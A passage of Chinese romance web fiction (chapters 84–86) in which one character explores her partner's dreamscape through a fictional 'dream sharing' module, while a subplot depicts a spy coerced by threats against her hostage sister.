沈逆缠上来吻边烬的唇。
边烬躲了两下,没躲掉,被沈逆启开唇齿,弄得极深。
双唇一碰,昨夜记忆疯狂复苏。
边烬有不妙的感觉,不能继续下去,开始含糊地拒绝。
“触觉指数破了三百,肯定不舒服的。既然是必要的手段,那就用我这个手段用到底吧师姐。”
边烬有一瞬间被沈逆蛊惑了。
沈逆那双眼睛太勾人,被她望着,魂都摇摇荡荡,险些跟着她的话走入陷阱。
最后还是克制住,双指封住沈逆太过诱惑的唇。
沈逆委屈道:“今日的亲密度不需要维护了吗?”
“连理模块已开。”
“就当奖励也不行吗?”
“……什么奖励?”
“奖励我这‘手段’好用。”
“……”
见边烬还是不为所动,沈逆继续道:
“那亲密度掉下来,它不会再关闭么?”
“不会,开通之后想要再关闭,有关闭通道,亲密度不再作为考量。”
沈逆:……
不愧是六十六页说明全部读完的师姐。
“行吧,那开始吧。”
沈逆坐到床榻上。
“……开始?”
床品已经全部换过,更突显了昨夜在此做的事。
“嗯。”
沈逆点点头。
“开始梦境互通啊,找回你的记忆,刻不容缓。”
为了这一刻,她俩努力了这么久。
可真的要让沈逆进入她梦境,深入潜意识的当下,边烬的心跳还是不由自主地加快。
第84章
梦境互通功能说明如下:
连理模块开通之后,梦境互通模块需要伴侣双方手动开启,方可互通梦境。关闭时也需手动关闭。
每次互通,只能开启单人梦境。
即,只有一人能进入到另一人梦中,且只能单人在梦境中探索,否则梦境将交叉错乱,对精神造成未知伤害。
梦境互通之前,伴侣双方均须进入睡眠状态。
请注意,每次梦境互通的时长与亲密度休戚相关。
以亲密度为六十分的伴侣为例,每次梦境互通时长为半个时辰。
亲密度每增加十分,探索时间增加一刻钟。
亲密度每减少十分,探索时间减少一刻钟。
探索时间结束后,需冷却二十四个时辰,方可再次进入。
附录:梦境互通功能处于持续开发测试阶段,也广泛运用于情绪治疗领域。若需缓解失眠或其他精神问题,请咨询专科医师。
……
在放沈逆进自己的梦境之前,边烬将梦境互通功能说明投影到两人面前,仔仔细细逐字阅读。
边烬:“也就是说,咱们这次的时长为半个时辰。可是梦中的时长如何计算?”
沈逆:“进去试一次不就知道了?”
边烬:……
也是。
虽然有点冒失,但阅读再多的文字,都不如亲自尝试来的清晰直观。
其实她是在为自己争取一些心理准备的时间。
方才刚刚吻完就进入梦境,情绪有些高涨。
现下平静地阅读了文字,心绪应该能纯然些。
开启了梦境互通功能。
选择了沈逆进入边烬的梦境。
选择之后,什么提示都没有。
边烬:“就这样?可以开始了?”
沈逆:“试试。”
两人一同躺到床榻上,闭上眼。
入睡倒是不难,毕竟从昨晚到现在,她们几乎没怎么睡,干的还都是非常耗费精力和体力的事。
只是有些不安。
上回打完异兽,第五阙和贺兰濯来侯府治伤的时候,第五阙和沈逆在工作室接骨,她和贺兰濯在前厅闲叙。
两人话都很少,也不太熟识,能聊的自然只有那次催眠。
贺兰濯让边烬放心。
“你的精神防御很强,展现在精神蓝图里的事件都只有一个情感方向,无法看到具体全貌。所以我没办法找到你想要的那件事。我采用的方法是把所有情.欲相关的梦全部沉到意识深潭中。当时也跟你沟通过,你是赞同的。”
贺兰濯的方法该是有效的。
后来她和沈逆为了提升亲密度做了许多谬妄之事,也未再梦到些有无。
贺兰濯的精神力的确很强。
沈逆已经睡着了。
边烬在被睡意捕捉时祷念着,希望姓贺的言符其实。
……
没有睁眼的过程,沈逆从一团混乱的思绪中拢回了意识,思索着自己这是来到了什么地方,怎会这般温暖,风里还带着花香。
她坐在一张书桌前,桌面上摆着一套笔墨纸砚。
目所能及处是极其广袤的平原,头顶上有雪飘落,天际却湛蓝清透。
是昼时的蔚蓝,但往远处看,能看到连成星汉的闪烁星辰。
星辰之下,巨大的石像矗立在平原中心的位置,比山还高。
那是女人的雕像,复着双手,背对沈逆,看不到脸。
矛盾又壮阔的景色,沈逆看得有些出神。
忽然想起,自己进入到边烬的梦境里。
这是边烬的梦中。
沈逆立即站起身,想起自己的使命。
时间不多,只有半个时辰,这儿这般广阔,想要找到记忆的线索得争分夺秒。
一站起来,沈逆发现自己的视野说不出的怪。
手里转着笔抬头看,天空为什么这么高?
路过一片湖面,怔住。
沈逆摸着自己的脸,惊讶道:
“我怎么是个小孩?”
看上去就十岁,不能再大了。
的确是自己十岁时的模样,脸蛋圆圆的,一脸稚气。
就说视野怪怪的,因为她变小了,个子变矮了。
糟了。
沈逆心想,为什么我进入师姐的梦境里变成了小孩?
还是个毫无魅力,人烦狗嫌的十岁小孩。
难道这么久了,师姐还将我当成孩童?
莫非她说的竟是实话。
那些亲密之事,单纯为了打开连理模块,找回记忆。从头到尾都没把她当成年人看待?
沈逆怔愣在湖边,从未这般怀疑人生。
一尾蓝色的鱼从湖面中跳出来,从沈逆脸前一晃而过,随后“噗通”扎回水中,却不走,绕着她摇晃着身子,似乎很喜欢她,想亲近她。
随后,像是得到了召唤,一大群鱼从远处游来,全都来围观沈逆。
长着巨大尾巴的白色松鼠从树枝后探头。
一只,两只,越来越多。
某只小松鼠看了沈逆半天,灵巧地从树枝下跃下来,跑到沈逆面前,短短的爪子捧起一颗圆润的果实给沈逆。
“给我的?”
沈逆好奇地问,问完又觉得自己怎么跟动物说话,它未必听得懂。
没想到,这雪白的小松鼠点了点头。
不愧是师姐梦境世界里的小动物,通人性。
“谢谢。”
沈逆接过果实,小松鼠滴溜溜地跑了,跑到树上还害羞似的再探出脑袋瞧她。
无论是鱼还是松鼠,这个世界的生物都好像格外喜欢沈逆。
沈逆一路走,一路都有小动物给她送吃的。
风喜欢往她脸上温柔地吹,还未开放的花她一路过便开了。
连天上落下来的雪花都爱飘到她鼻尖,在她鼻尖上摞起一层小小的雪被。
小松鼠送来的果实好好吃,长得像坚果,咬下去口感软软的,甚至带着桂花的香味。
果然是师姐梦境特产。
她就喜欢这个味道。
往石像去的路上,方才变成小孩的那点不开心,已经被师姐梦境世界独特的偏爱哄好了。
师姐也太喜欢她了吧?
梦境里的天地万物都这么喜欢她。
石像太远又太大,沈逆好不容易绕到石像前面,想看看石像的正面到底是谁的脸。
抬头,阳光与雪同时降落在与师尊一模一样的石像头顶。
沈逆嘴角抽了抽,早该想到的,除了师尊还能是谁。
不过这石像是不是太大,太醒目了一点?
好一个地标建筑,师尊在师姐心里分量可真不轻。
算了,沈逆安慰自己,这不重要,一堆石头罢了。
时间有限,她得继续去找记忆的线索。
沈逆一边在石像上写“沈逆到此一游”,一边举目四望。
这天高地阔的,究竟去哪里能找到丢失的记忆?
别说是找丢失的记忆,此刻她都要在这广袤的大地上迷失方向了。
忽然,远处的山头传来一片喊杀声,浓烟滚滚。
沈逆眼睛一亮,立刻往那个方向去。
她个子小跑得慢,跑了大半天气喘吁吁的,只跑了一半的路程。
忽然有一匹马从后方奔上来,沈逆就看了它一眼,它立刻停住脚步,矮下身子等着,似乎是在等待沈逆骑上去。
“你好乖。”
沈逆摸了摸它的脑袋,一跃上马,冲向喊杀声四起的山谷。
……
好冷。
伤口像刀,微微一动就剌着她的血肉。
痛楚让贺兰濯一直没能真正睡着,意识难受地漂浮在梦境和现实之间。
她看一个女孩走到她面前,她伸手探向对方。
“阿赐……”
那人握住她的手,问:“谁是阿赐?”
贺兰濯蓦地醒来,发现第五阙回来了。
将手从第五阙温暖的掌心里抽出来,贺兰濯咳了两声,说:
“阿赐,是我妹妹。”
“你还有妹妹?亲妹啊?”
“不然呢……”
“还以为你在外面认的干妹妹之类。和你长得像吗?”
贺兰濯沉默了片刻,说:“应该像吧。”
“应该?”
贺兰濯没再开口,第五阙知道她不想继续这个话题,便又寻了个话头。
“你手怎么这么冷?”
手抽走了,又被第五阙焐回来。
不仅焐手,第五阙整个人还钻进她被子里,将她抱到怀里。
“身上也好冷,大夏天的,怎么了嘛。”
第五阙比常人炙热的体温瞬间救赎了贺兰濯。
因寒冷而颤抖的身子在慢慢平稳。
贺兰濯没说话,第五阙也没问,就陪着她,暖着她,轻轻摸着她的脑袋。
贺兰濯轻笑着:“辈分乱了。”
“怎么,就小你三岁而已,脑袋还不让摸么?而且作为贺节度使最得力的副手,使命就是为节度使大人解决一切烦人的琐事。这不是我到任第一天你教我的么?我做的好不好?”
贺兰濯又用鼻音笑了几下,没力气了,继续陷入沉睡。
昏迷之中,感觉唇被启开,她还以为第五阙又来弄她。
没想到是药,是昂贵的营养液。
脚冷得没有知觉,也被一双手握住。
她整个人蜷缩在第五阙的怀里,熬过了隆冬,进入温暖的春日。
醒来时不知什么时辰,周围很安静,伤口没那么痛了,体温也正常。
第五阙的睡脸映入眼帘。
睡梦里也握着她的手。
贺兰濯安静地看了她一会儿,第五阙忽然一抽,醒了。
“嗯?你好点了?”
第五阙眼睛都还半睁着就来问贺兰濯。
贺兰濯:“没事,做个噩梦罢了。”
第五阙“哦”了一声,没多问,只道:“你头还疼不疼?”
“嗯?”
“之前看你一直捂着头,我还在想要不要帮你把护目镜摘了。头痛的时候箍着那玩意,不是更难受么?”
贺兰濯没说话,第五阙自己下床倒水喝。
“第五阙。”
第五阙一边喝水一边回眸。
“我的护目镜任何时候都别摘。如果哪天我摘了,你也千万别看我的眼睛。”
“嗯?”第五阙一口将水咽了,“为什么?”
贺兰濯:“看过我眼睛的人,会陷入我也无法控制的极端迷乱。”
想了想,也有个例外,但毕竟人家是双S级战斗天赋者。
而且当时摘下眼镜是为了催眠,彼此小心地配合着,也就没有产生极端迷乱的后果。
第五阙“砰”一下扑回床上,双手撑着脑袋,更好奇地看着贺兰濯的护目镜,想透过护目镜看到她的眼睛。
可惜,看到的只有自己的倒影。
“极端迷乱?那是什么样的?”
“既然是迷乱,自然是丧失自我意识,很有可能死心塌地爱上我。怎么,你想试试?”
“死心塌地爱上你,那不是和现在没什么区别么?”
贺兰濯低声笑骂了句“傻子”。
灯光调暗,避着伤口,今天格外温柔。
第五阙发现贺兰濯很在状态,比平日里要的都多。
虽然寝衣未宽。
贺兰濯有些避讳,第五阙知道。
她早就嗅到血腥味了。
贺兰濯没说自己为什么受了这么重的伤,也没打算说,第五阙便不问。
贺兰濯于她而言,就像忽然漂浮到眼前的彩色泡泡,美得让她移不开眼,却不敢轻易触碰。
一碰,便破碎无踪。
……
她们一向很默契畅快,今夜难得弄得很累,精疲力竭。
第五阙抱着贺兰濯睡着了。
深夜,贺兰濯忽然被一阵精神力唤醒。
她想起身,第五阙却将她抱得很紧,她一动还在不满地嘟囔。
贺兰濯无声地将第五阙的手臂移开,穿好衣衫,确定她没醒,关门上楼。
直达顶层。
一进顶层客房,便闻到一股浓郁的酒味。
李极穿着鸦青色曳地长裙,没有束发,额头上一道已经结痂的血口醒目,脖子缠着绷带。手里拿的不是酒盏,而是酒壶。
听到贺兰濯进屋的声音,李极望过来。
她嘴角两侧有些奇怪的红痕,眼眸已经有七分醉意,整个人侧卧在浓艳的朱瑾色沙发上,像一朵已经开过极盛期的花。
“阿濯。”
李极看到贺兰濯笑了一声,抽出一个油纸口袋。
“这个月你妹妹的视频和照片。”
贺兰濯正想上前拿,李极手一松,掉在地上。
口没封,闪存和照片稀里哗啦掉了一地。
阿赐的脸被遮掉了一半,只露出一只藏着愁绪的眼睛。
贺兰濯弯腰要拾,一把匕首刺进她的手背,将她的手钉在地上。
剧痛让她身子猛地发颤,贺兰濯咬紧牙关,将即将冲出口的痛吟强行咽回去。
李极拽住她的头发,将她头扯起来。
“怎么说你好呢阿濯……你救了我的命,应该奖励你才是。可你又做了多余的事,若是我奖励你,只怕下面的人不服。”
贺兰濯知道她说的“多余的事”是什么。
无脸女袭击沈逆她们的时候,她不该出手相助。
李极手指勾着贺兰濯护目镜的下沿,轻佻地拨弄着。
护目镜一下下打在她的脸上。
李极当然不会真的掀开,贺兰濯眼睛的传闻她知道,不能看到她的眼睛。
所以重要的人质所在地,李极也不知道,由她阿娘留下的亲信看守着。
迄今为止,贺兰濯不敢对李极动用精神力,不然,她世上唯一的亲人会立刻毙命。
李极:“小小惩罚,你有意见吗?”
鬓角上渗出冷汗,贺兰濯缓了两息,颤着声说:“没有。”
“乖。”李极一把将匕首抽出来。
贺兰濯终究没能忍住,闷哼了一声。
贺兰濯的血溅在李极的裙子上,连带着李极的脸颊上也留下一道刺目的血痕。
李极用贺兰濯的脸擦干净匕首上的血迹。
“下次再不听话,这一刀就让你宝贝妹妹替你受着了。”
贺兰濯垂着头,单手慢慢将阿赐的照片和装着视频的闪存收回口袋里,再封好封口,抱进怀中。
贺兰濯:“我可以走了吗?”
李极重新坐回沙发上,接过康逸为她开的一瓶新酒,说:
“把曾倾洛抓到我面前,要活的。”
贺兰濯道:“边烬或许已经怀疑我了,肯定会严加防备。现在向曾倾洛下手未必会成功,还容易彻底暴露。到时候靖安侯府的线索就彻底断了。”
李极意味深长地看着她“哦”了一声。
“我还以为你是爱你那个副使爱得紧,不小心才结交上了靖安侯府。没想到你竟费心思维持着这条线呢。”
贺兰濯无甚情绪冷淡道:
“和第五氏不过逢场作戏。”
李极冷笑一声,没再说什么,越喝越醉。
康逸打开屋门,示意贺兰濯离开。
咔。
门合上。
这一夜没什么风波,和无数个夜晚相似,疼痛和伤口已经激不出她任何的眼泪。
只是很累,很倦,很想阿赐。
站在走廊,贺兰濯看着琉璃墙里倒映出来的自己。
被肆意涂抹在脸上的血痕像巨大的伤口,猩红丑恶,苍白如鬼。
第85章
沈逆骑着马,奔入山谷深处。
硝烟还在前方,一路倾斜的陡坡向下,驰骋至拐弯处,前方还未见柳暗花明,忽然两把巨斧迎面劈来。
沈逆:?!
沈逆还没反应过来,斧头已经呼啸着当胸穿过。
身体被撕裂的痛楚像浪潮般直接拍在她心头,于意识中澎湃地蔓延,心惊肉跳。
沈逆急忙往身上摸。
身体没有任何变化,她没有受伤。
皮肉未被波及,所以,这很有可能是边烬曾经遭遇过的事,以抽象的感受藏在梦境深处,弥漫整座山谷。
不会让沈逆受伤,但能感同身受。
刀枪电光往她身上扑,喊杀声犹在耳畔。
往山谷去的一路,是布满凶残杀戮和血腥的一路。
熟悉的,珍视的,萍水相逢的……那些模糊的面容,最后都成了难以握住的沙砾,从发肤上划过。
这些都是边烬戎马生涯的点滴,汇聚成山谷里孤独的风,吹乱了沈逆的长发。
酷暑或严寒,寂寞或欢腾,边烬总像个过客。
北境不是她的故土,再倦再痛再累,她也睁着眼,撑着最后一丝意志清醒着。
清醒地告诉自己,不能死。
死在异乡,魂难归故里。
她要活着回去,家里还有人在等着她。
从皮开肉绽的漩涡中挣脱,终于到了山谷深处。沈逆伏在马背上,手紧紧抓着心口,冷汗涔涔。
绵长难忍的酸楚与寂寥,生死一线的绝望和痛苦,还绞着她的心,呼吸困难。
她从这样残酷的地狱中归来,内心世界居然还是这般清正明媚。
心悸的难受半天都没能压下去,没时间调整,沈逆撑起身子骑着马,在山谷中驰骋,四下寻找可以探索之地。
山谷内硝烟不散,浓郁的血腥味扑鼻,却不见尸骨。
沈逆转了好几圈,没能找到和那三年记忆有关的线索。
本以为会有些弦昼国的暗示,指不定会突然从哪儿蹦跶出一个秦无商或者无脸女,结果,什么也没有。
反而有些现实中完全没见过的美丽植物和可爱动物。
帮沈逆扇去硝烟的巨型透明芭蕉叶,给她送蜂蜜的小熊……一路都有各种动植物护送她,照顾她。
帝国的天子都没这待遇吧。
沈逆都不想离开了。
体感上,半个时辰应该早就到了,但她还在边烬的梦境里溜达。
回想自己做梦的经历,好像梦里的时间总是过得很慢。
有时候感觉做了好几年的梦,现实里一炷香都还没点完。
沈逆不确定真实世界里已经过了多久,梦境没将她拒之门外,她就继续探索。
这山谷堆着的都是不太快乐的记忆,大多数与战争有关。
又转了一圈,确定没有能继续探索的,沈逆离开山谷,继续往前,扎入一片森林。
这片森林中的树很高,密密麻麻,望不到头。
树下是茂密的植被,各种热带植物之中,一簇簇不知名的菌菇很显目。
这些菌菇颜色非常鲜艳漂亮,感觉一小朵就能毒死十个沈逆。
沈逆路过它们,它们圆圆的脑袋聚集在一起,往沈逆的方向摇摆,似乎在好奇地打量她。
这片森林乍一看没什么特别,仔细一琢磨,有点瘆人。
每棵树都长得一模一样,连树上的纹路都如出一辙,仿佛由一棵树复制粘贴出了一整片森林。
走着走着沈逆真的迷路了,因为她又看到刚才好奇观察她的小菌菇了。
沈逆再转了两圈,还是回到原点。
这倒霉的森林仿佛是专门为了迷惑人而生的,和万事藏心中的师姐一模一样,谁来都得转晕。
可一路上都被偏爱着,这里明明就很欢迎她。
这会儿就不能莫名其妙突然出现一只帮她引路的小动物吗?
沈逆下马,坐在地上歇会儿。
一坐下,视角变化,发现一簇簇的菌菇中间有一丝微蓝的光。
沈逆好奇,想看看里面是什么,刚靠近,原本柔软圆润的菌菇膨胀变大,猛然向外炸出尖锐的刺。
尖刺布满菌菇的伞盖,一副谁靠近就要扎穿谁的凶狠。
沈逆“哼”了一声。
“跟师姐一样,防备心太重。摸摸你怎么了?”
沈逆说完这句话,发现自己正躺在寝屋里。
沈逆:?
身边的边烬听到她说话,转过来看她。
沈逆:……
不是吧,从梦境世界出来一点提示都没有?
没提示就算了,这转场要不要这么突兀?
大逆不道的话脱口而出,已经被边烬听了个一清二楚。
边烬:“你摸什么了?”
沈逆沉默。
怀疑连理模块就是个坑人的半成品。
她现在连夜去砸民政司招牌,恐怕都得排队。
沈逆:“没什么,就几只小菌菇,和师姐一样可爱,让人想亲近。”
边烬:“嗯,我信了。”
沈逆:……
这话挺耳熟。
边烬好奇问她:“我的梦境世界里有小菌菇?”
“岂止有小菌菇。”
沈逆将自己一路所见都告诉边烬,可惜的是时间太短,没能找到丢失的记忆。
边烬略松一口气。
听沈逆字里行间的意思,应该是没看到什么不该看的。
边烬食指指骨抵在发痛的颞颥上,贺兰濯的精神力威力比想的要大,小睡片刻没有缓解,头痛依旧清晰。
顶了顶发痛的穴位,边烬一派家长安抚的语气道:
“不用气馁,本也没想过能一次性成功。等两日再进去就好。”
沈逆:“怎么头疼了?那还是多等几日再进去吧。”
“不是梦境互通的问题。”没等沈逆再问,边烬又说,“我完全没想到自己的梦境世界竟是你说的那样。”
沈逆:“不然你觉得是什么样?”
边烬想了想道:“我这么无趣的人,大概是一片荒凉吧。”
“怎么会!”
沈逆不乐意地反驳。
“怎么会无趣荒凉,明明美得要命。而且你梦境里所有的动物植物都喜欢我,送我吃的护送着我,我都想住在里面不出来了。说也奇怪哈,师姐的梦境世界为什么会对我这么偏爱?师姐本人你明明只是觉得我好用罢了。”
沈逆这牙尖嘴利,边烬招架不住,只道:
“头是有些疼。”
沈逆:……
说着说着,话题还可以往回跳是吧?
话题转移的可真够生硬的,沈逆险些笑出声。
梦境世界里的一切都明目张胆地偏爱她,可比眼前这口是心非的师姐要诚实多了。
迫不及待想再进去,看看还有什么师姐喜欢她的证据。
可惜还有冷却时间。
沈逆过来帮边烬揉脑袋。
边烬本想说不用,一点点小小的不适罢了。
沈逆坚持要给她按。
“亲密度要是掉了,探索时长也会减少的。我的手法不舒服吗?”
边烬无法反驳,的确很舒服。沈逆的手指纤长,压的穴位也很精准,每次都能恰恰好揉到缓解痛感的位置上。
边烬躺在床上,疼痛感慢慢消失,又一阵困意来袭。
“倾洛那边……”
“我会照看好她,你放心睡。”
沈逆笃定的话,的确让边烬很安心。
很快坠入梦境。
沈逆看她睡着的脸庞,安安静静的,双唇微张,很好亲的样子。
和醒着的时候拒人于千里之外的冷淡模样,一点都不像。
沈逆肆无忌惮点边烬的鼻子。
说什么连理模块开通就不需要亲密了。
你的梦境世界明明那么喜欢我。
师姐,你就是个大骗子。
有点生气,但想到边烬心里明明是疼爱她的,又难以克制地心动。
吻边烬的唇瓣,只打算浅吻几下便离开。
没想到,正在睡梦中的边烬感受到了沈逆的气息,被调训过的双唇本能地张开,纳沈逆唇舌进来,若有似无地勾着,生涩地回吻。
沈逆被弄得心头都热了起来。
又怕把师姐弄醒,只能压抑着,不敢吻太深。
睡着的师姐,比醒着的师姐要诚实得多。
……
一直陪着边烬,直到边烬熟睡,沈逆才起身去工作室里看看曾倾洛怎么样了。
曾倾洛体征一切正常,系统预测深度睡眠时间有一个时辰,预计在三个时辰之后彻底苏醒。
从昨夜到这会儿太阳又要落山,满打满算沈逆就睡了不到一个时辰,身上还有伤,动一下都火辣辣的发痛。
她交代万姑姑留意工作室这头,要是曾倾洛醒了,就带她去收拾出来的客房,这些日子就住在侯府,安全些。
万姑姑应喏,沈逆回到寝屋,躺回边烬身边,从身后紧紧拥着她。
还能抱着师姐,师姐还在身边,这份踏实胜过一切。
谁也不知道,当她看见边烬穿着她的衣衫要离开那一刻,心脏骤停时的剧痛和慌张。
边烬梦境之中刀锯斧钺砍在身体上的痛楚,又一次在沈逆胸腔里翻涌。
那些酸楚、孤独和坚持,不再是抽象的联想,而是实实在在挞在沈逆心上的情绪。
她走进了边烬的心,欣赏了她潜意识中不可思议的美丽景致,受到了偏爱,也带回了边烬生命里真实的一部分。
无论是苦是甜,那都是她未能参与的人生。
取出她的一部分,投入自己的心里,这样她俩算不算融为一体了?
想着想着,泪眼朦胧间亲密度居然加了一。
沈逆:……
好吧。
民政司的招牌暂时让它挂着.
西市,明日街。
闹哄哄的酒肆里,角落里坐着个一言不发,只闷头喝酒的女人。
李极面前的案上满是倾倒的酒杯和酒盏,她已有几分醉意,整个人慵懒地靠在沙发上,看似来消遣的,目光却没有停止打量周围来往的客人。
这是当初她和曾倾洛相遇的酒肆。
她已经在此喝了一个多时辰。
康逸和繁之坐在另一侧的角落,刚发生劫持事件,心有余悸,全程目光都没敢从李极身上挪走半分。
殿下被救回来之后,康逸不敢问她究竟被姓曾的怎么了,为什么脖子上被擦得红肿不堪,嘴角也破了。
李极心情不好,看她对待贺兰濯就知道了,她心中有气,没人敢招惹她,只有几位侍女帮她换药递水,半句话不敢说。
发热才退去一点,就说要来这个酒肆喝酒,一喝一整晚。
康逸和繁之想清场,她说“不用”。
又把这家酒肆的酒单点了一遍。李极心想,若是曾倾洛胆敢出现在此,她一定将她抓到面前来,好好折辱。
把怎么凌辱曾倾洛的画面在脑海里过了一遍又一遍。
直到康逸过来说:“殿下……”
李极眯着醉醺醺的双眼,“她来了?”
康逸不知道“她”指的是谁,犹豫了一下道:
“不是,殿下,天亮了,酒肆要打烊了,咱们回去吧。”
李极:……
李极自小饮酒,开心的时候喝不开心的时候也喝。
写字作画时更是豪饮。
很久没醉过了。
这夜回到帝国客栈,竟在净房里吐得昏天暗地。
康逸和繁之在外面守着,侍女们也半步不敢离,面面相觑。
李极吐得五脏六腑都调了个位置,什么时候回到床上都不记得。
纷杂的梦境里全都是曾倾洛的身影,想要抓住她,每每伸出手都扑了个空。
好烦。
她算什么东西?竟敢这样对我。
好烦……
……
康逸一整夜没睡,清晨时分听到屋里传来动静,轻轻推开门往里看。
李极不知什么时候醒了,散发披襟,正蹲在案前执笔狂涂。
脚边落了许多画完的画,一幅幅,全都是被捆绑、被囚禁,被死死握在女人手心里的小雀。
一张又一张,李极一言不发,手背浮着青筋,墨甩到身上也全然不顾。
康逸没敢惊扰她,目光闪烁着,随后,将门合上.
休息了两日,第五阙身上的伤好得七七八八。
那日她正在看贺兰濯给她打包买回来的话本,忽然灵感乍现,把话本一抛,躺到贺兰濯腿上,立即向沈逆发送通话请求。
一接通第五阙就兴奋道:“我想到一个绝妙计划!一定能顺利破掉你懂的地方!”
沈逆正在实验多高温度能焚烧无脸女的断臂。
暂时停下,将护目镜推至头顶。
沈逆知道她说的“你懂的”地方指的是什么。
最高研发署的禁区。
最近沈逆最心心念念的有两件事,一是边烬的记忆,二么,自然便是这禁区。
沈逆道:“你直接来我府上,当面说。”
第五阙:“好!”
第五阙正要挂,沈逆那头听到边烬说了什么,“哦”了一声,目光转回来,对第五阙道:
“让贺女郎一起来吧。你先前不是说她脑子好使么,有空就过来一起聊聊。”
第五阙抬头问贺兰濯:“去不?”
此时贺兰濯正在喝苹果酒,微笑着,用戴着手套的手摸了摸第五阙的脑袋。
第五阙头发很多很密,摸起来手感很好。
贺兰濯知道,这是边烬设下的局,想当面试探。
去嘛,不知道能不能活着回来。
不去嘛,以后靖安侯府的大门恐怕会永远对她关闭。
贺兰濯轻抿一口酒。
好一场鸿门宴。
第86章
第五阙来到靖安侯府门口,叩门。
来开门的是曾倾洛。
“第五姐姐。”
第五阙看曾倾洛原本就小小的脸蛋因伤又窄了一圈,身上统共挂不了几两肉,可怜见的,想摸摸她脑袋。
最后当然没摸。
她已经答应贺兰濯,不再和贺兰濯之外的人亲密接触。
即便贺兰濯什么名分也没给她,也不从来没要她答应什么。
第五阙只嘴上问候。
“小倾洛,听说你受伤了,怎样,好点没有?”
“没事,就是脑袋被打了一下,过两天就好了。”
曾倾洛看向她身后,礼貌地问候。
“贺节度使。”
贺兰濯打趣道:“倾洛妹妹什么时候成靖安侯府管家了。”
曾倾洛道:“我这几日都住在这儿,正好路过大门口,知道你们要来,就顺手开门啦。”
不远处,边烬和沈逆一同走过来。
从边烬的角度,全程都能看到大门口的贺兰濯。
让曾倾洛来开门,打伤她的人是否会露出心虚的表情?
边烬在暗暗注视。
只是,想要看到贺兰濯的微表情有些难。
且不说她常年冷着脸,心绪内敛,神色不露。
就说那副厚厚的护目镜,眼睛全然被遮住,露出的口鼻不足以判断她的情绪变化。
沈逆和边烬一同迎客,沈逆和第五阙已经迫不及待聊她们的计划了,又猫在一起嘀咕。
边烬看似随意地往贺兰濯身边走,脚步却轻巧无声,宛若深夜忽然接近的鬼魅。
贺兰濯才发现边烬已经靠自己这么近,全然没给她反应的机会,下一刻,后背便被边烬拍了一下。
边烬道:“我听我夫人说,上次遭遇无脸女,多亏了你搭救。还未谢过贺女郎。”
这一下不偏不倚,不轻不重,正好拍在贺兰濯后背的伤口上。
伤口已经被故渊处理妥当,这几日第五阙还在挥金如土,给她喂最好的药最贵的营养液。
恢复得算快,却也经不住边烬这一拍。
伤口有点儿裂开。
贺兰濯暗暗咬着牙,没让任何痛楚的情绪上脸。
边烬:“抱歉,我手重,有没有拍疼你?”
贺兰濯知道边烬有洁癖,不喜欢与人接触。
这种拍肩的小动作,自然是刻意的。
贺兰濯很快接话,语气轻松。
“我是精神天赋者,却也不是纸糊的,哪会拍一拍就疼?沈侯君和阿阙是莫逆之交,那便是我的朋友,朋友有难哪有袖手旁观的道理。”
手放下,边烬笑得四平八稳,目光松散地看向贺兰濯的身上,像是随意聊起穿扮。
边烬好奇道:“将入盛夏,贺女郎还未换夏衣么?”
贺兰濯这身西服偏厚,里面还有件衬衣,外面搭着披肩,的确和一众换上轻薄凉爽夏装的人不太协调。
贺兰濯顿了顿,还没开口,第五阙从前面轻飘飘接了话。
“她啊,体温一向偏低,大夏天的手脚冰凉,都得给她用暖手炉才行。”
边烬便没再多说,一同穿过游廊。
贺兰濯错后两步,暗暗活动了一番后背。
夏日的光照在她发冷的身上,冷热交替,有些晕眩感。
今日这场筵席,各种试探必不可少,贺兰濯特意穿了身稍微厚一些的衣衫。即便触碰到伤口,也无法察觉到缝合的纹理。
伤口上还喷了一层防水层,出血也不会往外渗。
今日这场鸿门宴,她做足了准备。
可怎么准备,有些细节还是撇不去刻意的意味。
幸好第五阙为她抹过去了。
搭上靖安侯府这条线是意外,但现下她不能失去。
她要让李极知晓,自己还有能利用的价值。
只要她还有价值,就有再见到阿赐的可能性。
这可能性很渺茫,她心知肚明、
却也是她唯今活下去的唯一支撑。
唯一……
唯一么?
第五阙的背影映在贺兰濯几近透明的眼眸里。
或许还有个傻子。
最近最让她放松的消遣,就是看到这傻子成日没烦恼地笑。
也不知道是什么毛病,有没有的治。
傻子走着走着,发现贺兰濯还没上来,特意停下来等她,伸手要牵她。
贺兰濯:“腻味。”
第五阙不甘不愿地“哦”了一声,乖乖的不吵不闹,但写了一脸的委委屈屈。
看她这般,贺兰濯没辙,勾了勾她的小指。
第五阙:!
贺兰濯很快收回,跟着沈逆她们往花园中去。
第五阙跟在贺兰濯身后嘿嘿笑。
“傻不傻?”贺兰濯没回头。
“你喜欢聪明的我就聪明,你喜欢傻的我就傻。”
“傻狗。”
“汪汪。”
贺兰濯:……
今日午宴设在花园中。
长安城夏日闷热,这靖安侯府还是秦王府的时候,秦王就为王府上下安装了恒温系统,露天的院子里也四季如春,专门伺候花草。
改名靖安侯府后,这儿的主人依旧爱花。
无论春夏秋冬,花园里温度永远宜人。
花园内有座视野极佳的凉亭,坐在凉亭内,能将府中流水山石,以及沈逆为边烬专门打造的花园一览无余。
今日侯府主厨听闻来了两位睦州的客人,专门做了一桌子睦州特色菜。
这是第五阙到长安之后吃的最地道的睦州菜,直夸这厨子手艺惊人,以后要经常来侯府蹭吃蹭喝。
满桌就只有第五阙最给主厨面子,专心吃饭,其他人都在认真听曾倾洛说她与李极认识的过程。
曾倾洛说李极化名裴寂,便是那广为人知的书画大师裴寂。
此人颇有些心机手段,身边有多少暗卫暂不可知,明面上有两位S级的战斗天赋者一直守护左右……
曾倾洛将她所知的李极状况全部告知大家。
除了那几夜完全不想回想的缠绵。
要是被师姐们知道她与那贼人有染,还曾真心实意将恶贼放在心上,不知会对她多失望。
沈逆听完曾倾洛的话,好奇道:
“所以这李极当初说自己是C级精神天赋,竟没说谎。C级……贺女郎,你们高等级的精神天赋能催眠,甚至让人产生幻觉,那C级呢?”
贺兰濯道:“精神天赋越高,控制人的精神越快,相反,天赋低控制会更慢。比如,我可以在一息之内同时催眠一百个没有天赋的普通人。而C级精神天赋者想要催眠某人,则需要长期的接触,接触的时间越长,亲密度越高,效果越好。控制的深度和时长跟受制者精神状态和能力也有很深的关系。”
曾倾洛:“难怪……”
难怪她会莫名其妙对李极有好感。
甚至在离开她最初的那几日,惶惶难安地思念她,迫切想要见到她。
无法想象,要不是自己强行忍下了这一波思念,真的去找她的话,这贼人指不定得在心里怎么笑话她轻贱,好操控。
曾倾洛喃喃自语的这两个字说的很小声,架不住边烬耳朵好使。
边烬关注过来。
